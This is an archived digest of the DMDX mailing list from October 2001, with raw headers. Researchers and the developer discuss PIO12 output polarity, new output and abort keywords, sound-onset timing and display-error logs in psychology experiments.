10:56:33 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id KAA13986 for ; Wed, 24 Oct 2001 10:56:04 -0700 Received: (qmail 13244 invoked from network); 24 Oct 2001 17:55:59 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.21) by breaker.dakotacom.net with SMTP; 24 Oct 2001 17:55:59 -0000 Message-Id: <5.1.0.14.2.20011024105418.009ebc40@psy1.psych.arizona.edu> Date: Wed, 24 Oct 2001 10:56:33 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: RE: change to output In-Reply-To: <5.1.0.14.2.20011024092839.009f06d0@psy1.psych.arizona.edu> References: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 09:32 AM 10/24/01 -0700, you wrote: > Wrong. 1 is +5v, it's positive logic and what you request output gets > output. Thinking about it I guess Derek must have one of those High Drive cards and that they must be inverting the output. Actually, ISTR someone else with a NS machine having inverted codes so it could well be the NeuroScan hardware that's doing the inverting. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There are no secrets better kept than those secrets that everybody guesses. - George Bernard Shaw (1856-1950) Mrs. Warren's Profession, 1983 >From DMDX-owner@psy1.psych.arizona.edu Wed Oct 24 14:16:38 2001 Received: from hotmail.com (oe38.law11.hotmail.com [64.4.16.95]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id OAA14487 for ; Wed, 24 Oct 2001 14:16:18 -0700 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Wed, 24 Oct 2001 14:15:47 -0700 From: ""nabil saba"" To: ""DMDX"" Subject: [DMDX] Fw: PIO12 Date: Wed, 24 Oct 2001 14:17:13 -0700 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----=_NextPart_001_0000_01C15C96.937A4C40"" Message-ID: Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list ------=_NextPart_001_0000_01C15C96.937A4C40 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable ----- Original Message ----- From: nabil saba Sent: Tuesday, October 23, 2001 2:39 PM To: DMDX Subject: [DMDX] PIO12 ----- Original Message ----- From: nabil saba Sent: Thursday, August 23, 2001 11:04 AM To: DMDX Subject: [DMDX] PIO12 Hi Sir, I'm a new user to DMDX. I noticed that DMDX accepts inputs from keyboard,= mouse and Joystick. For my experiment, i need to get a feedback from the= patient inside the scanner. To do that, i will be using a separate Keypa= d that could be connected to USB, serial ports. Is there a way to do that= ...Does DMDX recognize other ports... If not, Where could i get the PIO12. I need to get 2 feedback from the pa= tient. Positive and negative feedback..... Nabil Saba R&D Engineer University of California, Irvine Tel. (949) 824-9263 Fax. (949) 824-5552 Get more from the Web. FREE MSN Explorer download : http://explorer.msn.c= om Get more from the Web. FREE MSN Explorer download : http://explorer.msn.c= omGet more from the Web. FREE MSN Explorer download : http://explorer.ms= n.com ------=_NextPart_001_0000_01C15C96.937A4C40 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable   <= DIV>  = ----- Original Message ----- From: nabil saba Sent: Tuesday, = October 23, 2001 2:39 PM To:= DMDX Subject: PIO12 <= DIV>      ----= - Original Message ----- From: nabil saba Sent: Thursday, August 23, 2001 11:04 AM To: DMDX Subject: [DMDX] PIO12   Hi Sir,= I'm a new user to DMDX. I noticed that DMDX accepts inputs fr= om keyboard, mouse and Joystick. For my experiment, i need to get a feedb= ack from the patient inside the scanner. To do that, i will be using a se= parate Keypad that could be connected to USB, serial ports. Is there a wa= y to do that...Does DMDX recognize other ports...  = If not, Where could i get the PIO12. I need to get 2 feedback from = the patient. Positive and negative feedback.....Nabil SabaR&a= mp;D EngineerUniversity of California, IrvineTel. (949) 824-9263<= BR>Fax. (949) 824-5552 Get more from the Web. = FREE MSN Explorer download : http://= explorer.msn.com Get mo= re from the Web. FREE MSN Explorer download : http://explorer.msn.com Get more from the Web. FREE MSN Explorer download= : http://explorer.msn.com ------=_NextPart_001_0000_01C15C96.937A4C40-- >From DMDX-owner@psy1.psych.arizona.edu Wed Oct 24 14:27:38 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id OAA14530 for ; Wed, 24 Oct 2001 14:27:31 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (5.1.056) id 3BC7BE0B00123B0C for DMDX@psy1.psych.arizona.edu; Wed, 24 Oct 2001 14:27:29 -0700 Message-Id: <5.1.0.14.2.20011024142330.009d1910@psy1.psych.arizona.edu> Date: Wed, 24 Oct 2001 14:27:29 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: Fw: PIO12 In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 02:17 PM 10/24/01 -0700, you wrote: > > >>----- Original Message ----- >>From: nabil saba You got your reply, the info is on my web pages or in the help files, why should I go dig it up for you? -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""A raccoon tangled with a 23,000 volt line today. The results blacked out 1400 homes and, of course, one raccoon."" - Steel City News >From DMDX-owner@psy1.psych.arizona.edu Wed Oct 24 18:00:43 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id SAA15087 for ; Wed, 24 Oct 2001 18:00:31 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (5.1.056) id 3BC7BE0B00129BF2 for DMDX@psy1.psych.arizona.edu; Wed, 24 Oct 2001 18:00:30 -0700 Message-Id: <5.1.0.14.2.20011024175022.009e3cb0@psy1.psych.arizona.edu> Date: Wed, 24 Oct 2001 18:00:30 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] DMDX 2.5.04 Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I was planning on a minor release for some of these features but John Curtin's offer necessitates an interim release. First the keywords added for John: Revert Output Keyword variant: Revert Output Hex Keyword Parameter to change data Output to a PIO12 device from being latched to being momentary pulses F milliseconds long after which the output lines revert to N or H. Invert Output Keyword Parameter to invert all words output to a PIO12 output device. Must occur after the device is mapped. See Input. Other things include the sub usages of and being affected by the recently added keyword. Meaning is not affected. And the addition of a keyword for the Looking Time study (which wasn't planned until the 2.6.00 release hence the reference in the docs): Abort Item Key Name Keyword Parameter to specify the Abort Item key name. By default no key is specified and so items cannot be aborted. Once a valid key available on the current input devices (see Input) is selected as the abort item key name, pressing that key will attempt to abort that item and continue on to the next one -- any pending request will still have to be issued however. Not all things can be aborted, currently (DMDX 2.6.00) the display queue will still have to execute (logic to dump pending frames is fraught with peril). What will be aborted however are any Digital Video and sound files (both normal wave files and streaming audio files) that are still being played, they will be stopped instead. Any pending subject response timeout will also expire. This means that the following items will not abort until the last blank frame is displayed: 0 ""filename"" / ; +1 ""target"" * / ; The following items however will abort because there will be nothing left in the display queue: 0 ""filename"" ; +1 ""target"" * ; -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""A raccoon tangled with a 23,000 volt line today. The results blacked out 1400 homes and, of course, one raccoon."" - Steel City News >From DMDX-owner@psy1.psych.arizona.edu Thu Oct 25 02:27:04 2001 Received: from smtp.gu.se (smtp.gu.se [130.241.150.66]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id CAA16064 for ; Thu, 25 Oct 2001 02:26:39 -0700 Received: from mango (psyk21.ss.med.gu.se [130.241.85.176]) by smtp.gu.se (8.10.2/8.10.2) with SMTP id f9P9QXp24965 for ; Thu, 25 Oct 2001 11:26:33 +0200 From: ""Derek N. Eder"" To: ""DMDX"" Subject: [DMDX] PIO12 outputs Date: Thu, 25 Oct 2001 11:25:17 +0200 Message-ID: MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----=_NextPart_000_0004_01C15D47.B9290920"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list This is a multi-part message in MIME format. ------=_NextPart_000_0004_01C15D47.B9290920 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 8bit Jonathan is correct of course, setting a PIO-12 output bit to ""1"" makes the corresponding PIO output port ""pin"" ""high"" (~+5 volts). This is all well explained in the ""PIO test"" section of the TimeDx help page. The new and and are godsends, thank you! Something JCF wrote about generating milisecond long pulses being a problem makes me want to say again that logic operates on a nanosecond time scale and that a milisecond trigger pulse would be uneccesarily long. Put into context, this is equivalent to a computer running at 1000 Hz. On the other hand, long output pulses are more appropriate for generating marker signals on pen recorders or LED displays etc .... It looks like JCF's function will allow the flexibility to do both. Thanks again, Derek Derek N. Eder G�teborgs Universitet Institutionen f�r klinisk neurovetenskap - psykiatri Sahlgrenska universitetssjukhuset SS/SU Bl� straket 17b SE 413 45 G�teborg Sverige Tlf. +46 (031) 34 26 139 Fax. +46 (031) 34 21 533 derek.eder@neuro.gu.se Gothenburg University Institute of Clinical Neuroscience, Section for Psychiatry Salhgrenska Hospital SU/SS SE 413 45 G�teborg Sweden ------=_NextPart_000_0004_01C15D47.B9290920 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Jonathan is=20 correct of course, setting a PIO-12 output bit to ""1"" makes=20 the corresponding PIO output port ""pin"" ""high"" (~+5=20 volts).  This is all well explained in the ""PIO = test""=20 section of the TimeDx help page.   The = new=20 and and  are godsends, = thank=20 you!    Something JCF=20 wrote about generating milisecond long pulses being a problem makes me = want to=20 say again that logic operates on a nanosecond time scale and that a = milisecond=20 trigger pulse would be uneccesarily long.  Put into context, this = is=20 equivalent to a computer running at 1000 Hz.  On the other hand, = long=20 output pulses are more appropriate for generating marker signals on pen=20 recorders or LED displays etc ....  It looks like JCF's = =20 function will allow the flexibility to do both.   Thanks = again,   Derek        Derek N. EderG=F6teborgs = UniversitetInstitutionen f=F6r=20 klinisk neurovetenskap - psykiatriSahlgrenska universitetssjukhuset=20 SS/SUBl=E5 straket 17bSE 413 45  = G=F6teborgSverigeTlf. +46=20 (031) 34 26 139Fax. +46 (031) 34 21=20 533 derek.eder@neuro.gu.seGothenburg=20 UniversityInstitute of Clinical Neuroscience,Section for=20 PsychiatrySalhgrenska Hospital  SU/SSSE 413 45 =20 G=F6teborgSweden    ------=_NextPart_000_0004_01C15D47.B9290920-- >From DMDX-owner@psy1.psych.arizona.edu Thu Oct 25 04:22:31 2001 Received: from puce.csi.cam.ac.uk (exim@puce.csi.cam.ac.uk [131.111.8.40]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id EAA16322 for ; Thu, 25 Oct 2001 04:22:17 -0700 Received: from sjb90.trin.cam.ac.uk ([131.111.212.253] helo=sjb90) by puce.csi.cam.ac.uk with smtp (Exim 3.22 #1) id 15wiaU-00067V-00 for DMDX@psy1.psych.arizona.edu; Thu, 25 Oct 2001 12:22:14 +0100 From: ""Stuart Bell"" To: Subject: [DMDX] Timing errors for sound presentation Date: Thu, 25 Oct 2001 12:23:03 +0100 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hello there, I have a question relating to timing errors, and I can't work out the answer from the DMDX documentation. I wonder if anyone can help... I have an item file containing lines like this: 0 ""hammer"" / !; +109 * ""hammer"" / !; 0 ""tree"" / !; +110 * ""tree"" / !; ... etc Bitmaps are displayed on the screen, DMDX waits for a request input, and then starts the clock and plays a sound file, whilst keeping the image on the screen. The timing from sound file onset to button-press is critical. Will DMDX report any difficulties that it has in timing this accurately, please? If a process grabs CPU time when an image is being displayed, the corresponding inaccuracy in timing is reported as a display error. But what about if a process grabs CPU time and so plays a sound file late? It may be that my question doesn't actually make sense - is the clock always started at the true onset of a sound file in this case, please? Any advice that people could give would be very useful! Thanks, Stuart. _______________________________________________________ Stuart Bell Trinity College & Department of Experimental Psychology University of Cambridge (UK) >From DMDX-owner@psy1.psych.arizona.edu Thu Oct 25 07:51:14 2001 Received: from smtp.gu.se (smtp.gu.se [130.241.150.66]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id HAA16759 for ; Thu, 25 Oct 2001 07:50:53 -0700 Received: from mango (psyk21.ss.med.gu.se [130.241.85.176]) by smtp.gu.se (8.10.2/8.10.2) with SMTP id f9PEoqp02111 for ; Thu, 25 Oct 2001 16:50:52 +0200 From: ""Derek N. Eder"" To: ""DMDX"" Subject: [DMDX] PIO12 outputs Date: Thu, 25 Oct 2001 16:49:34 +0200 Message-ID: MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----=_NextPart_000_0008_01C15D75.068327A0"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list This is a multi-part message in MIME format. ------=_NextPart_000_0008_01C15D75.068327A0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 8bit Jonathan is correct of course, setting a PIO-12 output bit to ""1"" makes the corresponding PIO output port ""pin"" ""high"" (~+5 volts). This is all well explained in the ""PIO test"" section of the TimeDx help page. The new and and are godsends, thank you! Something JCF wrote about generating milisecond long pulses being a problem makes me want to say again that logic operates on a nanosecond time scale and that a milisecond trigger pulse would be uneccesarily long. Put into context, this is equivalent to a computer running at 1000 Hz. On the other hand, long output pulses are more appropriate for generating marker signals on pen recorders or LED displays etc .... It looks like JCF's function will allow the flexibility to do both. Thanks again, Derek Derek N. Eder G�teborgs Universitet Institutionen f�r klinisk neurovetenskap - psykiatri Sahlgrenska universitetssjukhuset SS/SU Bl� straket 17b SE 413 45 G�teborg Sverige Tlf. +46 (031) 34 26 139 Fax. +46 (031) 34 21 533 derek.eder@neuro.gu.se Gothenburg University Institute of Clinical Neuroscience, Section for Psychiatry Salhgrenska Hospital SU/SS SE 413 45 G�teborg Sweden ------=_NextPart_000_0008_01C15D75.068327A0 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Jonathan is=20 correct of course, setting a PIO-12 output bit to ""1"" makes=20 the corresponding PIO output port ""pin"" ""high"" (~+5=20 volts).  This is all well explained in the ""PIO = test""=20 section of the TimeDx help page.   The = new=20 and and  are godsends, = thank=20 you!    Something JCF=20 wrote about generating milisecond long pulses being a problem makes me = want to=20 say again that logic operates on a nanosecond time scale and that a = milisecond=20 trigger pulse would be uneccesarily long.  Put into context, this = is=20 equivalent to a computer running at 1000 Hz.  On the other hand, = long=20 output pulses are more appropriate for generating marker signals on pen=20 recorders or LED displays etc ....  It looks like JCF's = =20 function will allow the flexibility to do both.   Thanks = again,   Derek        Derek N. EderG=F6teborgs = UniversitetInstitutionen f=F6r=20 klinisk neurovetenskap - psykiatriSahlgrenska universitetssjukhuset=20 SS/SUBl=E5 straket 17bSE 413 45  = G=F6teborgSverigeTlf. +46=20 (031) 34 26 139Fax. +46 (031) 34 21=20 533 derek.eder@neuro.gu.seGothenburg=20 UniversityInstitute of Clinical Neuroscience,Section for=20 PsychiatrySalhgrenska Hospital  SU/SSSE 413 45 =20 G=F6teborgSweden    ------=_NextPart_000_0008_01C15D75.068327A0-- >From DMDX-owner@psy1.psych.arizona.edu Thu Oct 25 10:12:49 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id KAA17133 for ; Thu, 25 Oct 2001 10:12:32 -0700 Received: (qmail 29125 invoked from network); 25 Oct 2001 17:04:00 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.21) by breaker.dakotacom.net with SMTP; 25 Oct 2001 17:04:00 -0000 Message-Id: <5.1.0.14.2.20011025095715.009e5e30@psy1.psych.arizona.edu> Date: Thu, 25 Oct 2001 10:04:30 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: PIO12 outputs In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 11:25 AM 10/25/01 +0200, you wrote: >Jonathan is correct of course, setting a PIO-12 output bit to ""1"" makes >the corresponding PIO output port ""pin"" ""high"" (~+5 volts). This is all >well explained in the ""PIO test"" section of the TimeDx help page. > >The new and and are godsends, thank you! Thank John Curtin, he's the one that sponsored them. > Something JCF wrote about generating milisecond long pulses being a > problem makes me want to say again that logic operates on a nanosecond > time scale and that a milisecond trigger pulse would be uneccesarily long. It's not a logic thing, it's a frequency thing. Often there is a great big piece of wire between the DMDX machine and the NeuroScan machine, it has capacitance and thus needs to be charged up, this takes time and a nanosecond pulse is likely to get absorbed and be undetectable by the NS machine. Plus it also depends how the NS hardware detects the pulses, if it periodically scans the input the pulse must be at least twice the polling frequency's duration. > Put into context, this is equivalent to a computer running at 1000 > Hz. On the other hand, long output pulses are more appropriate for > generating marker signals on pen recorders or LED displays etc .... It > looks like JCF's function will allow the flexibility to do both. Yeah, I find it's best to make things as flexible as possible. If there's some arbitrary constant when I write code I make it modifiable -- unless of course it's a right pain to make flexible, then we compromise... -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There are no secrets better kept than those secrets that everybody guesses. - George Bernard Shaw (1856-1950) Mrs. Warren's Profession, 1983 >From DMDX-owner@psy1.psych.arizona.edu Thu Oct 25 10:46:38 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id KAA17276 for ; Thu, 25 Oct 2001 10:46:31 -0700 Received: (qmail 6844 invoked from network); 25 Oct 2001 17:14:50 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.21) by breaker.dakotacom.net with SMTP; 25 Oct 2001 17:14:50 -0000 Message-Id: <5.1.0.14.2.20011025100528.009e3440@psy1.psych.arizona.edu> Date: Thu, 25 Oct 2001 10:15:22 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Timing errors for sound presentation In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 12:23 PM 10/25/01 +0100, you wrote: >Hello there, > >I have a question relating to timing errors, and I can't work out the answer >from the DMDX documentation. I wonder if anyone can help... > >I have an item file containing lines like this: > >0 ""hammer"" / !; >+109 * ""hammer"" / !; >0 ""tree"" / !; >+110 * ""tree"" / !; >... etc > >Bitmaps are displayed on the screen, DMDX waits for a request input, and >then starts the clock and plays a sound file, whilst keeping the image on >the screen. The timing from sound file onset to button-press is critical. > >Will DMDX report any difficulties that it has in timing this accurately, >please? No, inter item timing is flexible unless you use a parameter. Use an item structure like the following: +109 ""hammer"" / * ""hammer"" ; >If a process grabs CPU time when an image is being displayed, the >corresponding inaccuracy in timing is reported as a display error. But what >about if a process grabs CPU time and so plays a sound file late? The frame that plays a sound is another frame, if it's late the error will get logged. > It may be >that my question doesn't actually make sense - is the clock always started >at the true onset of a sound file in this case, please? The clock is started when the command to issue the sound file is given. It's possible that there's a lag between them but that's a multi-tasking OS for you, no way around that. On the up side the delay isn't likely to be anything more than a few milliseconds, look at the millisecond timer tests in TimeDX, the time between callbacks will give you a good feel for the likely error. Of course, there's also the time it takes your sound subsystem to start playing the file and is in fact a far greater concern than any random synchronicity affects. You'll want to measure that latency with the TimeDX Sound Latency Test. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There are no secrets better kept than those secrets that everybody guesses. - George Bernard Shaw (1856-1950) Mrs. Warren's Profession, 1983 >From DMDX-owner@psy1.psych.arizona.edu Thu Oct 25 10:48:18 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id KAA17288 for ; Thu, 25 Oct 2001 10:48:12 -0700 Received: (qmail 10683 invoked from network); 25 Oct 2001 17:19:45 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.21) by breaker.dakotacom.net with SMTP; 25 Oct 2001 17:19:45 -0000 Message-Id: <5.1.0.14.2.20011025101737.009f5c40@psy1.psych.arizona.edu> Date: Thu, 25 Oct 2001 10:20:17 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: PIO12 outputs In-Reply-To: <5.1.0.14.2.20011025095715.009e5e30@psy1.psych.arizona.edu> References: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 10:04 AM 10/25/01 -0700, you wrote: >>The new and and are godsends, thank you! > > Thank John Curtin, he's the one that sponsored them. Well, not the anyway, that one is just something that happens to have gotten in my way without me noticing it. There's a bunch of code in one of my script generators that wouldn't be there if I had thought of when writing the script generator -- instead it reads all the various bitmaps it references to get their size in order to position them, if was used that script generator would be a whole lot simpler. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There are no secrets better kept than those secrets that everybody guesses. - George Bernard Shaw (1856-1950) Mrs. Warren's Profession, 1983 >From DMDX-owner@psy1.psych.arizona.edu Thu Oct 25 12:05:33 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id MAA17596 for ; Thu, 25 Oct 2001 12:05:19 -0700 Received: by deimos.email.Arizona.EDU (5.1.056) id 3BD7ED960000BA90 for DMDX@psy1.psych.arizona.edu; Thu, 25 Oct 2001 12:05:18 -0700 Message-ID: <3BD7ED9900000997@deimos.email.Arizona.EDU> Date: Thu, 25 Oct 2001 12:05:17 -0700 In-Reply-To: <5.1.0.14.2.20011022185026.009f4c30@psy1.psych.arizona.edu> From: ""Keolani Taitano"" Subject: [DMDX] RE: Re: display error question To: DMDX@psy1.psych.arizona.edu MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I am seeing a display error at msec 653186 stating that item 28 of my item >>file has 5 ms of refused video flips which delayed the previous frame's >>duration. However, 653186 msec, according to the COT output in the .azk >>file, occurred in item 29, not item 28. Also, when I look at the difference >>in COTs between item lines there is a large discrepancy for items 26 and >>27 from what they should be, but not for item 28. Could someone please >>explain why these error messages and COTs appear to be discrepant and which >>best indicates the true site of increased time lag? > The data: Subject 1, 06/10/2000 09:12:06 on GRAD1, refresh 16.67ms Item RT COT 1 4000 0 2 4000 29977 3 4000 49972 4 4000 69967 5 4000 89963 6 4000 109958 7 4000 129954 8 4000 149966 9 4000 180026 10 4000 210019 11 4000 230081 12 4000 250076 13 4000 270072 14 4000 290067 15 4000 310062 16 4000 330058 17 4000 360101 18 4000 390094 19 4000 410190 20 4000 430185 21 4000 450180 22 4000 470176 23 4000 490171 24 4000 510100 25 4000 540110 26 4000 589698 27 4000 593987 ! Display error at msec 653186, tick 39103 in item 28, frame ""checkerboard"" ! 5ms of refused video flips occured ! (previous frame's duration will have been longer) ! -- possibly caused by another process taking 4 ticks 28 4000 614099 29 4000 634095 ! Display error at msec 693193, tick 41494 in item 30, frame ""checkerboard"" ! 5ms of refused video flips occured ! (previous frame's duration will have been longer) 30 4000 654107 31 4000 674102 32 4000 693764 33 4000 723824 34 4000 753817 35 4000 773879 36 4000 793874 Keolani Taitano, Ph.D. Postdoctoral Research Fellow Department of Psychology The University of Arizona voice: 520-626-5401 >From DMDX-owner@psy1.psych.arizona.edu Thu Oct 25 16:20:18 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id QAA18277 for ; Thu, 25 Oct 2001 16:20:07 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (5.1.056) id 3BC7BE0B0014C2E6 for DMDX@psy1.psych.arizona.edu; Thu, 25 Oct 2001 16:20:06 -0700 Message-Id: <5.1.0.14.2.20011025161644.009e3ec0@psy1.psych.arizona.edu> Date: Thu, 25 Oct 2001 16:20:08 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] RE: Re: display error question In-Reply-To: <3BD7ED9900000997@deimos.email.Arizona.EDU> References: <5.1.0.14.2.20011022185026.009f4c30@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 12:05 PM 10/25/01 -0700, you wrote: >The data: Ah, Clock On Time is from the first clock on the item file, time reported in the display error is time since the millisecond clock was started, shortly before the item file began execution. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""A raccoon tangled with a 23,000 volt line today. The results blacked out 1400 homes and, of course, one raccoon."" - Steel City News >From DMDX-owner@psy1.psych.arizona.edu Thu Oct 25 23:31:23 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id XAA19116 for ; Thu, 25 Oct 2001 23:30:59 -0700 Received: from c40 (128.196.93.33) by phobos.email.Arizona.EDU (5.1.056) id 3BC7BE0B00154812 for DMDX@psy1.psych.arizona.edu; Thu, 25 Oct 2001 23:30:59 -0700 Message-ID: <002501c15de7$5a9aaf80$215dc480@cog.arizona.edu> From: ""Matthew Finkbeiner"" To: Subject: [DMDX] graphic file as feedback? Date: Thu, 25 Oct 2001 23:27:58 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Is it possible to use bmp files as feedback? I tried , but it didn't seem to work. thanks in advance for any help Matthew >From DMDX-owner@psy1.psych.arizona.edu Fri Oct 26 06:02:03 2001 Received: from puce.csi.cam.ac.uk (exim@puce.csi.cam.ac.uk [131.111.8.40]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id GAA19855 for ; Fri, 26 Oct 2001 06:00:09 -0700 Received: from uni.psychol.cam.ac.uk ([131.111.190.125] helo=sjb90) by puce.csi.cam.ac.uk with smtp (Exim 3.22 #1) id 15x6an-0005LM-00 for DMDX@psy1.psych.arizona.edu; Fri, 26 Oct 2001 14:00:09 +0100 From: ""Stuart Bell"" To: Subject: [DMDX] RE: Re: Timing errors for sound presentation Date: Fri, 26 Oct 2001 14:01:02 +0100 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: 7bit In-Reply-To: <5.1.0.14.2.20011025100528.009e3440@psy1.psych.arizona.edu> Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list > The clock is started when the command to issue > the sound file is given. > There's also the time it takes your sound subsystem > to start playing the file Great - thanks for all the advice, Jonathan. This will be useful - hope it is for other people, as well. Best wishes, Stuart. >From DMDX-owner@psy1.psych.arizona.edu Fri Oct 26 07:19:44 2001 Received: from mefteh.dsi.univ-paris5.fr (mefteh.dsi.univ-paris5.fr [193.51.86.10]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id HAA20070 for ; Fri, 26 Oct 2001 07:18:07 -0700 Received: (from root@localhost) by mefteh.dsi.univ-paris5.fr (8.9.3+Sun/8.9.3) id QAA21035 for dmdx@psy1.psych.arizona.edu; Fri, 26 Oct 2001 16:18:04 +0200 (MEST) Received: from alpha.univ-paris5.fr (alpha.univ-paris5.fr [193.51.86.2]) by mefteh.dsi.univ-paris5.fr (8.9.3+Sun/8.9.3) with ESMTP id QAA21000 for ; Fri, 26 Oct 2001 16:18:01 +0200 (MEST) Received: from boris (n2sgir198.psycho.univ-paris5.fr [193.51.84.198]) by alpha.univ-paris5.fr (8.9.3/jtpda-5.3.1) with SMTP id QAA18516 for ; Fri, 26 Oct 2001 16:18:01 +0200 (MET DST) Message-ID: <004a01c15e29$af978f20$312815ac@psycho.univparis5.fr> From: ""Boris New"" To: ""DMDX"" Subject: [DMDX] analysing tools Date: Fri, 26 Oct 2001 16:22:47 +0200 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----=_NextPart_000_0047_01C15E3A.72CC72C0"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list 